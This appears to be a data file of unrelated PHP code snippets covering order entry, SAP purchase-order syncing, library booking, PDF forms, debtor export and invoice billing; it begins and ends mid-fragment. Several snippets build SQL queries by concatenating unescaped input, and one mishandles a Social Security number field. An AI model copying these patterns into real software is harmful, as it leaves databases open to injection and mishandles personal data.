'\".$_SESSION['AdminID'].\"', '\".$_SESSION['AdminType'].\"', '\".$Config['TodayDate'].\"', '\".$Config['TodayDate'].\"', '\".$ReceivedDate.\"', '\".$InvoicePaid.\"', '\".addslashes(strip_tags($InvoiceComment)).\"', '\".addslashes($PaymentMethod).\"', '\".addslashes($ShippingMethod).\"', '\".addslashes($PaymentTerm).\"', '\".addslashes($EmpID).\"', '\".addslashes($EmpName).\"', '\".addslashes($Taxable).\"', '\".addslashes($SaleID).\"', '\".addslashes($taxAmnt).\"', '\".addslashes($tax_auths).\"', '\".addslashes($MainTaxRate).\"','\".$CustCode.\"')\";\r\n\t //echo $strSQLQuery;\r\n\t\t\t\t\r\n\t\t\t\t$this->query($strSQLQuery, 0);\r\n\t\t\t\t$OrderID = $this->lastInsertId();\r\n\t\r\n\t\t\t\tif(empty($arryDetails[$ModuleID])){\r\n\t\t\t\t\t$ModuleIDValue = $PrefixPO.'000'.$OrderID;\r\n\t\t\t\t\t$strSQL = \"update p_order set \".$ModuleID.\"='\".$ModuleIDValue.\"' where OrderID='\".$OrderID.\"'\"; \r\n\t\t\t\t\t$this->query($strSQL, 0);\r\n\t\t\t\t}\r\n\t \r\n\t\t\t\treturn $OrderID;\r\n\t\r\n\t\t\t}", "function _putDataSub51Schedules0501s(&$pdf, $font, $item, $margin_line_top) {\n $x_col1 = 97;\n $x_col2 = 127;\n $x_col3 = 157;\n $x_col4 = 187;\n\n $pdf->SetFont($font, null, 8, true);\n $pdf->SetXY(37, 59.4 + $margin_line_top);\n $pdf->MultiCell(36, 5, $item['Sub51']['item_name'], 0, 'C');\n\n if (!empty($item['Sub51']['account_beggining_sum']) &&\n strlen(number_format($item['Sub51']['account_beggining_sum'])) < 14) {\n $this->_putBaseNumber($pdf, $font, $item['Sub51']['account_beggining_sum'], $x_col1, 59.4 + $margin_line_top, 10, 5, 'R', 9);\n }\n\n if (!empty($item['Sub51']['subtraction_sum']) &&\n strlen(number_format($item['Sub51']['subtraction_sum'])) < 14) {\n $this->_putBaseNumber($pdf, $font, $item['Sub51']['subtraction_sum'], $x_col2, 59.4 + $margin_line_top, 10, 5, 'R', 9);\n }\n\n if (!empty($item['Sub51']['adding_sum']) &&\n strlen(number_format($item['Sub51']['adding_sum'])) < 14) {\n $this->_putBaseNumber($pdf, $font, $item['Sub51']['adding_sum'], $x_col3, 59.4 + $margin_line_top, 10, 5, 'R', 9);\n }\n\n if (!empty($item['next_sum']) &&\n strlen(number_format($item['next_sum'])) < 14) {\n $this->_putBaseNumber($pdf, $font, $item['next_sum'], $x_col4, 59.4 + $margin_line_top, 10, 5, 'R', 9);\n }\n }", "public function bookItem($param) { \n if (!$this->aaa->has_right('openruth', 500))\n $res->bookingError->_value = 'authentication_error';\n else {\n $agencyId = self::strip_agency($param->agencyId->_value);\n $targets = $this->config->get_value('ruth', 'ztargets');\n if ($tgt = $targets[$agencyId]) {\n $book = &$booking->Booking->_value;\n $book->LibraryNo->_value = $agencyId;\n $book->BorrowerTicketNo->_value = $param->userId->_value;\n $book->BookingNote->_value = $param->bookingNote->_value;\n $book->StartDate->_value = self::to_zruth_date($param->bookingStartDate->_value);\n $book->EndDate->_value = self::to_zruth_date($param->bookingEndDate->_value);\n $book->NumberOrdered->_value = $param->bookingTotalCount->_value;\n $book->ServiceCounter->_value = $param->agencyCounter->_value;\n $book->MRID->_value->ID->_value = $param->itemId->_value;\n $book->MRID->_value->TitlePartNo->_value = ($param->itemSerialPartId->_value ? $param->itemSerialPartId->_value : 0);\n $xml = '<?xml version=\"1.0\" encoding=\"ISO-8859-1\" ?'.'>' . utf8_decode($this->objconvert->obj2xml($booking));\n $z = new z3950();\n $z->set_target($tgt['host']);\n $z->set_database($tgt['database'].'-ophelia');\n $z->set_authentication($tgt['authentication']);\n if ($tgt['proxy']) {\n $z->set_proxy($tgt['proxy']);\n }\n $xml_ret = $z->z3950_xml_update($xml, $tgt['timeout']);\n//echo 'error: ' . $z->get_errno();\n//print_r($xml);\n//print_r($xml_ret);\n if ($z->get_errno() == 0 && $xml_ret['xmlUpdateDoc']) {\n $dom = new DomDocument();\n $dom->preserveWhiteSpace = false;\n if ($dom->loadXML($xml_ret['xmlUpdateDoc'])) {\n if ($err = $dom->getElementsByTagName('ErrorResponse')->item(0)) {\n verbose::log(ERROR, __FUNCTION__ . ' (' . __LINE__ . ') errno: ' . $err->getAttribute('Err'));\n if (!($res->bookingError->_value = $this->errs[$err->getAttribute('Err')])) \n $res->bookingError->_value = 'unspecified error (' . $err->getAttribute('Err') . '), order not possible';\n } elseif ($err = $dom->getElementsByTagName('Error')->item(0)->nodeValue) {\n verbose::log(ERROR, __FUNCTION__ . ' (' . __LINE__ . ') errno: ' . $err);\n if (!($res->bookingError->_value = $this->errs[$err])) \n $res->bookingError->_value = 'unspecified error (' . $err . '), order not possible';\n } else {\n $res->bookingOk->_value->bookingId->_value = $dom->getElementsByTagName('BookingID')->item(0)->nodeValue;\n if ($sd = self::from_zruth_date($dom->getElementsByTagName('StartDate')->item(0)->nodeValue))\n $res->bookingOk->_value->bookingStartDate->_value = $sd;\n else\n $res->bookingOk->_value->bookingStartDate->_value = $param->bookingStartDate->_value;\n if ($ed = self::from_zruth_date($dom->getElementsByTagName('EndDate')->item(0)->nodeValue))\n $res->bookingOk->_value->bookingEndDate->_value = $ed;\n else\n $res->bookingOk->_value->bookingEndDate->_value = $param->bookingEndDate->_value;\n }\n } else {\n verbose::log(ERROR, __FUNCTION__ . ' (' . __LINE__ . ') loadXML error of: ' . $xml_ret['xmlUpdateDoc']);\n $res->bookingError->_value = 'system error';\n }\n } else {\n self::log_z_error(__FUNCTION__, __LINE__, $agencyId, $z->get_errno(), $z->get_error_string());\n $res->bookingError->_value = 'system error';\n }\n } else\n $res->bookingError->_value = 'unknown agencyId';\n }\n\n $ret->bookItemResponse->_value = $res;\n //var_dump($param); print_r($res); die();\n return $ret;\n }", "function SchedullerPO(){\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// Cek --> Update PO List, Update Quantity PO Open\n\t\t// echo \"hahah\";\t\t\n\t\trequire_once APPPATH.'third_party/sapclasses/sap.php';\n\t\t$sap = new SAPConnection();\n\t\t$sap->Connect(APPPATH.\"third_party/sapclasses/logon_dataDev.conf\");\n\t\tif ($sap->GetStatus() == SAPRFC_OK ) $sap->Open ();\n\t\tif ($sap->GetStatus() != SAPRFC_OK ) {\n\t\t\techo $sap->PrintStatus();\n\t\t\texit;\n\t\t}\n\n\t\t$fce = &$sap->NewFunction (\"Z_ZCMM_VMI_PO_DETAILC\");\n\t\t\n\t\tif ($fce == false) {\n\t\t\t$sap->PrintStatus();\n\t\t\texit;\n\t\t}\n\t\t\n\t\t$start \t= date(\"20170101\");\t\t\t\t\t// Date start VMI apps\n\t\t$end \t= date(\"Ymd\");\t\t\t\t\t\t// Date Now\n\t\t$opco\t\t\t\t\t= '7000';\n\t\t$fce->COMPANY \t\t\t= \"$opco\";\t\t// BUKRS\n\t\t// $fce->PO_TYPE \t\t= 'ZK17';\n\t\t// $fce->VENDOR \t\t= ;\n\t\t$fce->DATE['SIGN'] \t= 'I';\n\t\t$fce->DATE['OPTION']\t= 'BT';\n\t\t$fce->DATE['LOW'] \t= $start;\n\t\t$fce->DATE['HIGH'] \t= $end;\n\t\t\n\t\t$fce->PO_TYPE->row['SIGN'] \t= 'I';\n\t\t$fce->PO_TYPE->row['OPTION'] \t= 'EQ';\n\t\t$fce->PO_TYPE->row['LOW'] \t= 'ZK10';\n\t\t$fce->PO_TYPE->row['HIGH'] \t= '';\n\t\t$fce->PO_TYPE->Append($fce->PO_TYPE->row);\n\t\t\n\t\t$fce->PO_TYPE->row['SIGN'] \t= 'I';\n\t\t$fce->PO_TYPE->row['OPTION'] \t= 'EQ';\n\t\t$fce->PO_TYPE->row['LOW'] \t= 'ZK17';\n\t\t$fce->PO_TYPE->row['HIGH'] \t= '';\n\t\t$fce->PO_TYPE->Append($fce->PO_TYPE->row);\n\t\t\t\n $fce->call();\n\n if ($fce->GetStatus() == SAPRFC_OK) {\n $fce->T_ITEM->Reset();\n $data=array();\n $empty=0;\n $tampildata=array();\n while ($fce->T_ITEM->Next()) {\n\t\t\t\t$matnr \t\t= $fce->T_ITEM->row[\"MATNR\"];\t// Kode Material\n\t\t\t\t$lifnr \t\t= $fce->T_ITEM->row[\"LIFNR\"];\t// Kode Vendor\n\t\t\t\t$ebeln \t\t= $fce->T_ITEM->row[\"EBELN\"];\t// No PO\n\t\t\t\t$menge \t\t= intval($fce->T_ITEM->row[\"MENGE\"]);\t// Quantity PO\n\t\t\t\t$sisaqty\t= intval($fce->T_ITEM->row[\"DELIV_QTY\"]);\t// Quantity PO Open\n\t\t\t\t$werks \t\t= $fce->T_ITEM->row[\"WERKS\"];\t// Plant\n\t\t\t\t$vendor\t\t= $fce->T_ITEM->row[\"VENDNAME\"];\t// Nama Vendor\n\t\t\t\t$material \t= $fce->T_ITEM->row[\"MAKTX\"];\t// Nama Material\n\t\t\t\t$potype \t= $fce->T_ITEM->row[\"BSART\"];\t// Type PO\n\t\t\t\t// $mins \t\t= $fce->T_ITEM->row[\"EISBE\"];\t// Safety Stock\n\t\t\t\t$mins \t\t= $fce->T_ITEM->row[\"MINBE\"];\t// Re Order Point\n\t\t\t\t$maxs \t\t= $fce->T_ITEM->row[\"MABST\"];\t// Max\n\t\t\t\t$statuspo\t= $fce->T_ITEM->row[\"ELIKZ\"];\t// Max\n\t\t\t\t$start \t\t= date_format(date_create($fce->T_ITEM->row[\"BEDAT\"]),'d M Y');\n\t\t\t\t$end \t\t= date_format(date_create($fce->T_ITEM->row[\"EINDT\"]),'d M Y');\n\t\t\t\t\n\t\t\t\tif($statuspo == 'X' || $statuspo == 'x')\n\t\t\t\t{\n\t\t\t\t\t$sts = 0;\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$sts = 1;\n\t\t\t\t}\n\t\t\t\t$sqlread= \"SELECT count(id_list) ADA\n\t\t\t\t\t\t\tFROM VMI_MASTER \n\t\t\t\t\t\t\twhere NO_PO = '$ebeln' and\n\t\t\t\t\t\t\tKODE_MATERIAL = '$matnr' and \n\t\t\t\t\t\t\tKODE_VENDOR = '$lifnr' and\n\t\t\t\t\t\t\tPLANT = '$werks' \n\t\t\t\t\t\t\t\";\n\t\t\t\t\t\t\t//and QUANTITY = '$menge'\n\t\t\t\t$jum \t= $this->db->query($sqlread)->row();\n\t\t\t\t$nilai \t= $jum->ADA;\n\t\t\t\t// echo $nilai.\"->\".$matnr.\" | \".$lifnr.\" | \".$ebeln.\" | \".$menge.\" | \".$werks.\" | \".$vendor.\" | \".$material.\" | \".$start.\" | \".$end.\" ==> \".$potype.\"<br/>\";\n\t\t\t\t// $ebeln == \"6310000038\" || $ebeln == \"6310000039\" || $ebeln == \"6310000040\" || $ebeln == \"6310000041\" || $ebeln == \"6310000042\" || $ebeln == \"6310000043\")\n\t\t\t\t\n\t\t\t\tif($nilai < 1){\n\t\t\t\t\tif($ebeln == \"6310000038\" || $ebeln == \"6310000039\" || $ebeln == \"6310000040\" || $ebeln == \"6310000041\" || $ebeln == \"6310000042\" || $ebeln == \"6310000043\"\n\t\t\t\t\t\t|| $lifnr == \"0000113004\" || $lifnr == \"0000110091\" || $lifnr == \"0000110253\" || $lifnr == \"0000110015\" || $lifnr == \"0000112369\" || $lifnr == \"0000110016\"){\t\t\t\t\t\t\n\t\t\t\t\t\t$sqlcount \t= \"SELECT max(ID_LIST) MAXX FROM VMI_MASTER\";\n\t\t\t\t\t\t$maxid \t\t= $this->db->query($sqlcount)->row();\t\t\n\t\t\t\t\t\t$max_list \t= $maxid->MAXX+1;\n\t\t\t\t\t\t$insert\t\t= \"insert into VMI_MASTER(ID_LIST,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tPLANT,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tKODE_MATERIAL,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tNAMA_MATERIAL,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tUNIT,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tKODE_VENDOR,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tNAMA_VENDOR,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tNO_PO,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tPO_ITEM,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tCONTRACT_ACTIVE,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tCONTRACT_END,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tDOC_DATE,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tSLOC,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tMIN_STOCK,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tMAX_STOCK,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tSTOCK_AWAL,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tSTOCK_VMI,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tQUANTITY,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tID_COMPANY,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tSTATUS)\n\t\t\t\t\t\t\t\t\t\t\t\tvalues('$max_list',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'$werks',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'$matnr',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'$material',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'\".$fce->T_ITEM->row[\"MEINS\"].\"',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'$lifnr',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'$vendor',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'$ebeln',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'\".$fce->T_ITEM->row[\"EBELP\"].\"',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tTO_DATE('\".date_format(date_create($start),'Y-m-d').\"','YYYY-MM-DD'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tTO_DATE('\".date_format(date_create($end),'Y-m-d').\"','YYYY-MM-DD'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tTO_DATE('\".date_format(date_create($start),'Y-m-d').\"','YYYY-MM-DD'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'\".$fce->T_ITEM->row[\"LGORT\"].\"',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'\".$fce->T_ITEM->row[\"EISBE\"].\"',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'\".$fce->T_ITEM->row[\"MABST\"].\"',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'0',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'0',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'$sisaqty',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'$opco',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'$sts'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\";\n\t\t\t\t\t\t$save \t= $this->db->query($insert);\n\t\t\t\t\t\techo \"Baru ==> $ebeln | $material | $vendor | $opco | $werks | $potype<br/>\";\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\techo \"Skip ==> $ebeln | $material | $vendor | $opco | $werks | $potype<br/>\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telseif($nilai >= 1){\n\t\t\t\t\t$sqlread1 = \"SELECT ID_LIST\n\t\t\t\t\t\t\tFROM VMI_MASTER \n\t\t\t\t\t\t\twhere NO_PO = '$ebeln' and\n\t\t\t\t\t\t\tKODE_MATERIAL = '$matnr' and \n\t\t\t\t\t\t\tKODE_VENDOR = '$lifnr' and\n\t\t\t\t\t\t\tPLANT = '$werks' \n\t\t\t\t\t\t\t\";\n\t\t\t\t\t\t\t//and QUANTITY = '$menge'\n\t\t\t\t\t$getlist= $this->db->query($sqlread1)->row();\n\t\t\t\t\t$idlist = $getlist->ID_LIST;\n\t\t\t\t\t$update\t\t= \"update VMI_MASTER set quantity = '$sisaqty',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tmin_stock = '$mins',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tmax_stock = '$maxs',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tSTATUS = '$sts'\n\t\t\t\t\t\t\t\t\t\t\t\t\twhere ID_LIST = '$idlist'\n\t\t\t\t\t\t\t\t\";\n\t\t\t\t\t$update_data\t= $this->db->query($update);\n\t\t\t\t\t\techo \"$update <br/>\";\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\t\techo \"Skip ==> $ebeln | $material | $vendor | $opco| $werks | $potype<br/>\";\n\t\t\t\t}\n\t\t\t\t// echo \"<hr/>\"; \n\t\t\t}\n\t\t// echo \"<pre>\";\n\t\t// print_r($fce);\n\t\t// echo \"hahaha\";\n $fce->Close();\n\t\t}\n }", "public function __construct($quantity = null, $segmentNumber = null, \\Sabre\\UpdateReservation\\StructType\\AncillaryPrice_PNRB $equivalentPrice = null, \\Sabre\\UpdateReservation\\StructType\\AncillaryPrice_PNRB $tTLPrice = null, $portionOfTravelIndicator = null, \\Sabre\\UpdateReservation\\StructType\\AncillaryPrice_PNRB $originalBasePrice = null, $refundIndicator = null, $commisionIndicator = null, $interlineIndicator = null, $feeApplicationIndicator = null, $passengerTypeCode = null, $boardPoint = null, $offPoint = null, $taxesIncluded = null, \\Sabre\\UpdateReservation\\StructType\\Taxes $taxes = null, $softMatchIndicator = null, $noChargeNotAvailIndicator = null, \\Sabre\\UpdateReservation\\StructType\\TicketCouponNumberAssociation $ticketCouponNumberAssociation = null, $simultaneousTicketIndicator = null, $formOfRefund = null, $feeNotGuaranteedIndicator = null, $fQTVTierLevel = null, $tourCodeSHC = null, $travelDateEffective = null, $latestTravelDatePermitted = null, $purchaseByDate = null, \\Sabre\\UpdateReservation\\StructType\\AncillaryPrice_PNRB $totalOriginalBasePrice = null, \\Sabre\\UpdateReservation\\StructType\\AncillaryPrice_PNRB $totalEquivalentPrice = null, \\Sabre\\UpdateReservation\\StructType\\AncillaryPrice_PNRB $totalTTLPrice = null, \\Sabre\\UpdateReservation\\StructType\\TotalTaxes $totalTaxes = null, $taxExemptIndicator = null, \\Sabre\\UpdateReservation\\StructType\\BagWeight $bagWeight = null, $fareCalculationModeIndicator = null, $fareCalculationPriceIndicator = null, $bagOccurence = null)\n {\n $this\n ->setQuantity($quantity)\n ->setSegmentNumber($segmentNumber)\n ->setEquivalentPrice($equivalentPrice)\n ->setTTLPrice($tTLPrice)\n ->setPortionOfTravelIndicator($portionOfTravelIndicator)\n ->setOriginalBasePrice($originalBasePrice)\n ->setRefundIndicator($refundIndicator)\n ->setCommisionIndicator($commisionIndicator)\n ->setInterlineIndicator($interlineIndicator)\n ->setFeeApplicationIndicator($feeApplicationIndicator)\n ->setPassengerTypeCode($passengerTypeCode)\n ->setBoardPoint($boardPoint)\n ->setOffPoint($offPoint)\n ->setTaxesIncluded($taxesIncluded)\n ->setTaxes($taxes)\n ->setSoftMatchIndicator($softMatchIndicator)\n ->setNoChargeNotAvailIndicator($noChargeNotAvailIndicator)\n ->setTicketCouponNumberAssociation($ticketCouponNumberAssociation)\n ->setSimultaneousTicketIndicator($simultaneousTicketIndicator)\n ->setFormOfRefund($formOfRefund)\n ->setFeeNotGuaranteedIndicator($feeNotGuaranteedIndicator)\n ->setFQTVTierLevel($fQTVTierLevel)\n ->setTourCodeSHC($tourCodeSHC)\n ->setTravelDateEffective($travelDateEffective)\n ->setLatestTravelDatePermitted($latestTravelDatePermitted)\n ->setPurchaseByDate($purchaseByDate)\n ->setTotalOriginalBasePrice($totalOriginalBasePrice)\n ->setTotalEquivalentPrice($totalEquivalentPrice)\n ->setTotalTTLPrice($totalTTLPrice)\n ->setTotalTaxes($totalTaxes)\n ->setTaxExemptIndicator($taxExemptIndicator)\n ->setBagWeight($bagWeight)\n ->setFareCalculationModeIndicator($fareCalculationModeIndicator)\n ->setFareCalculationPriceIndicator($fareCalculationPriceIndicator)\n ->setBagOccurence($bagOccurence);\n }", "function populateRecord_Y6051($lineEx, $recordNumber, $original){\r\n\t\t\t########################################################################################\r\n\t\t\t$this->exportData[$recordNumber][01]['debtorName'] = $lineEx[16].\", \".$lineEx[17];\r\n\t\t\t$this->exportData[$recordNumber][01]['debtorAddress1'] = $lineEx[18];\r\n\t\t\t$this->exportData[$recordNumber][01]['debtorAddress2'] = $lineEx[19];\r\n\r\n\t\t\t///////////////////\r\n\t\t\tif(strlen($this->exportData[$recordNumber][01]['debtorAddress1']) > 20){\r\n\t\t\t\t$addySnippet = substr($this->exportData[$recordNumber][01]['debtorAddress1'], 0 ,20);\r\n\t\t\t\t$restSnippet = substr($this->exportData[$recordNumber][01]['debtorAddress1'], 20 , strlen($this->exportData[$recordNumber][01]['debtorAddress1']) );\r\n\t\t\t\t$this->exportData[$recordNumber][01]['debtorAddress1'] = $addySnippet;\r\n\t\t\t\t$this->exportData[$recordNumber][01]['debtorAddress2'] = $restSnippet.\" \".$this->exportData[$recordNumber][01]['debtorAddress2'];\r\n\t\t\t}\r\n\t\t\t///////////////////\r\n\r\n\t\t\t$this->exportData[$recordNumber][01]['debtorCity'] = $lineEx[20];\r\n\t\t\t$stateZip = explode(\" \", $lineEx[21]);\r\n\t\t\t$this->exportData[$recordNumber][01]['debtorState'] = $stateZip[0];\r\n\t\t\t$zipEx = str_replace(\"-\", \"\", $stateZip[2]);\r\n\t\t\t$this->exportData[$recordNumber][01]['debtorZip'] = $zipEx;\r\n\r\n\t\t\t$this->exportData[$recordNumber][01]['balance'] = number_format($lineEx[15], 2);\r\n\r\n\t\t\t$dateOfService = $this->checkDateWithSlashes($lineEx[11]);\r\n\t\t\t$this->exportData[$recordNumber][01]['dateOfService'] = $dateOfService;\r\n\t\t\t$this->exportData[$recordNumber][01]['debtorDob'] = $this->checkDateWithSlashes($lineEx[22]);\r\n\r\n\t\t\t$noteString = \"\";\r\n\r\n\t\t\t$this->exportData[$recordNumber][01]['rpPhone'] = str_replace(\"-\", \"\", $lineEx[6]);\r\n\t\t\t$this->exportData[$recordNumber][01]['rpSs'] = str_replace(\"-\", \"\", $lineEx[7]);\r\n\r\n\t\t\t\tif($lineEx[23]==\"Y\"){ //we have a minor - replace the RP info for the minor's\r\n\t\t\t\t\t$this->exportData[$recordNumber][01]['debtorAddress1'] = $lineEx[2];\r\n\t\t\t\t\t$this->exportData[$recordNumber][01]['debtorAddress2'] = $lineEx[3];\r\n\t\t\t\t\t$this->exportData[$recordNumber][01]['debtorCity'] = $lineEx[4];\r\n\t\t\t\t\t$this->exportData[$recordNumber][01]['debtorState'] = '';\r\n\r\n\t\t\t\t\t$this->exportData[$recordNumber][01]['rpName'] = $lineEx[0].\", \".$lineEx[1];\r\n\t\t\t\t\t$this->exportData[$recordNumber][01]['rpPhone'] = str_replace(\"-\", \"\", $lineEx[6]);\r\n\t\t\t\t\t$this->exportData[$recordNumber][01]['rpSs'] = str_replace(\"-\", \"\", $lineEx[7]);\r\n\r\n\t\t\t\t\t/////\r\n\t\t\t\t\t$stateZip = explode(\" \", $lineEx[5]);\r\n\t\t\t\t\t$zipEx = str_replace(\"-\", \"\", $stateZip[2]);\r\n\t\t\t\t\t$this->exportData[$recordNumber][01]['debtorState'] = $stateZip[0];\r\n\t\t\t\t\t/////\r\n\r\n\t\t\t\t\t$this->exportData[$recordNumber][01]['debtorZip'] = $zipEx;\r\n\t\t\t\t\tif(strlen($lineEx[7])>0){\r\n\t\t\t\t\t\t$this->exportData[$recordNumber][01]['debtorSs'] = str_replace(\"-\", \"\", $lineEx[0]);\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$noteString = \"PT DB:\".$this->exportData[$recordNumber][01]['debtorDob'].\" | \";\r\n\t\t\t\t}\r\n\r\n\t\t\t$dateLastPayment = $this->checkDateWithSlashes($lineEx[12]);\r\n\t\t\t$this->exportData[$recordNumber][01]['dateLastPayment'] = $dateLastPayment;\r\n\t\t\t$this->exportData[$recordNumber][01]['listDate'] = $dateOfService;\r\n\r\n\t\t\t$this->exportData[$recordNumber][01]['debtorPhone'] = $lineEx[6];\r\n\t\t\t$noteString .= \"Run Number: \".trim($lineEx[9]).\" | P/U: \".trim($lineEx[24],'\"').\" | DROP: \".trim($lineEx[25],'\"');\r\n\t\t\t$this->exportData = $this->splitNotes($noteString, $recordNumber);\r\n\t\t\treturn $this->exportData;\r\n\t}", "public function pendingBillInvoice($task_id)\n {\n \t$mainTotal=0;\n \t$sql=\" SELECT tbl_tasks_units_billing.* FROM tbl_tasks_units_billing\n\t\t\t INNER JOIN tbl_tasks_units ON tbl_tasks_units.id = tbl_tasks_units_billing.tasks_unit_id\n\t\t\t INNER JOIN tbl_task_instruct ON tbl_task_instruct.id = tbl_tasks_units.task_instruct_id\n\t\t\t INNER JOIN tbl_task_instruct_servicetask ON tbl_task_instruct_servicetask.id = tbl_tasks_units.task_instruct_servicetask_id\n \t\t INNER JOIN tbl_tasks ON tbl_tasks.id=tbl_task_instruct_servicetask.task_id\n \t\t INNER JOIN tbl_client_case ON tbl_client_case.id = tbl_tasks.client_case_id\n \t\t INNER JOIN tbl_client ON tbl_client.id = tbl_client_case.client_id\n \t\t INNER JOIN tbl_servicetask ON tbl_servicetask.id = tbl_task_instruct_servicetask.servicetask_id AND (tbl_servicetask.billable_item = 1 OR tbl_servicetask.billable_item = 2) AND tbl_client_case.is_close = 0\n \t\t WHERE\";\n \t$where = \" (tbl_tasks.id IN ($task_id)) AND (tbl_tasks_units_billing.invoiced IS NULL OR tbl_tasks_units_billing.invoiced = '')\";\n \t$order = \" ORDER BY tbl_client.client_name asc,tbl_client_case.case_name asc\";\n \t$mainSql = $sql.$where.$order;\n $taskunitbillingdata = TasksUnitsBilling::findBySql($mainSql)->all();\n \t//echo \"<pre>\"; print_r($taskunitbillingdata); exit;\n \t$taskunitbillingdata1 = array();\n \t$pprate2=array();\n \t$casearr=array();\n \tif(!empty($taskunitbillingdata)){\n foreach($taskunitbillingdata as $taskey1 => $taskval1){\n \t\t/*if((new TasksUnitsBilling)->checkpricingforrate2($taskval1->tasks->client_id,$taskval1->tasks->client_case_id,$taskval1->pricing_id,$taskval1->quantity))\n \t\t\t$pprate2[$taskval1->pricing_id] = $taskval1->pricing_id;*/\n \t\t$istemprate=0;\n \t\tif(isset($taskval1->temp_rate) && $taskval1->temp_rate!='') {\n \t\t\t$istemprate=1;\n \t\t\t$rate = $taskval1->temp_rate;\n \t\t\tif($taskval1->temp_discount!='') {\n\t\t\t\t\t$frate = $rate - ($rate*$taskval1->temp_discount/100);\n\t\t\t\t\t$finalrate = $rate;\n \t\t\t} else {\n\t\t\t\t \t$frate = $rate;\n\t\t\t\t\t$finalrate = $rate;\n \t\t\t}\n \t\t}else{\n \t\t\t$rate = (new TasksUnitsBilling)->checkpricingforrate($taskval1->tasksUnits->taskInstruct->tasks->clientCase->client_id,$taskval1->tasksUnits->taskInstruct->tasks->client_case_id,$taskval1->pricing_id,$taskval1->quantity,\"\",$taskval1->tasksUnits->team_loc);\n \t\t\tif($taskval1->temp_discount!='') {\n \t\t\t\t$frate = $rate - ($rate*$taskval1->temp_discount/100);\n \t\t\t\t$finalrate = $rate;\n \t\t\t} else {\n \t\t\t\t$frate = $rate;\n \t\t\t\t$finalrate = $rate;\n \t\t\t}\n \t\t}\n\n \t\t$taskunitbillingdata1[$taskval1->tasksUnits->taskInstruct->tasks->clientCase->client_id][$taskval1->tasksUnits->taskInstruct->tasks->client_case_id][] = array(\n\t\t\t\t'client_case_id' => $taskval1->tasksUnits->taskInstruct->tasks->client_case_id,\n\t\t\t\t'servicetask_id' => $taskval1->tasksUnits->taskInstructServicetask,\n\t\t\t\t'price_point' => $taskval1->pricing->price_point,\n\t\t\t\t'price_pointid'=> $taskval1->pricing_id,\n\t\t\t\t'project_id' => $taskval1->tasksUnits->task_id,\n\t\t\t\t'id' => $taskval1->id,\n\t\t\t\t'loc'=> $taskval1->tasksUnits->team_loc,\n\t\t\t\t'unit_price_id' => $taskval1->pricing->unit_price_id,\n\t\t\t\t'tasks_unit_id' => $taskval1->tasks_unit_id,\n\t\t\t\t'created'=>$taskval1->created,\n\t\t\t\t'invoiced'=>$taskval1->invoiced,\n\t\t\t\t'desc'=>$taskval1->billing_desc,\n\t\t\t\t'unit_id'=>$taskval1->quantity,\n\t\t\t\t'rate'=>$frate,\n\t\t\t\t'istemprate'=>$istemprate,\n\t\t\t\t'subtotal'=>$frate * $taskval1->quantity,\n\t\t\t\t'setdelete'=>$setdelete,\n\t\t\t\t'discount'=>$taskval1->temp_discount,\n\t\t\t\t'discount_reason'=>$taskval1->temp_discount_reason,\n\t\t\t\t'internal_ref_no_id'=>$taskval1->internal_ref_no_id\n\t\t\t);\n\t\t}\n\t}\n\n /* Start : If Range PP then rate will be on the bases of total of all same unit along with same pricepoint of same location */\n $pricepointLocwisetotal = array();\n $revisedArray=array();\n if (!empty($taskunitbillingdata1)) {\n \tforeach ($taskunitbillingdata1 as $keysclient => $values){\n \t\tforeach ($values as $keyscase => $values1){\n\t \t\tforeach ($values1 as $k => $value){\n\t\t \t\tif(is_numeric($k))\n\t\t \t\t{\n\t\t \t\t\tif($value['invoiced'] != 2 && $value['istemprate']!=1)\n\t\t \t\t\t$pricepointLocwisetotal[$keysclient][$keyscase][$value['price_pointid']][$value['loc']][$value['unit_price_id']]['unit_total'] += $value['unit_id'];\n\t 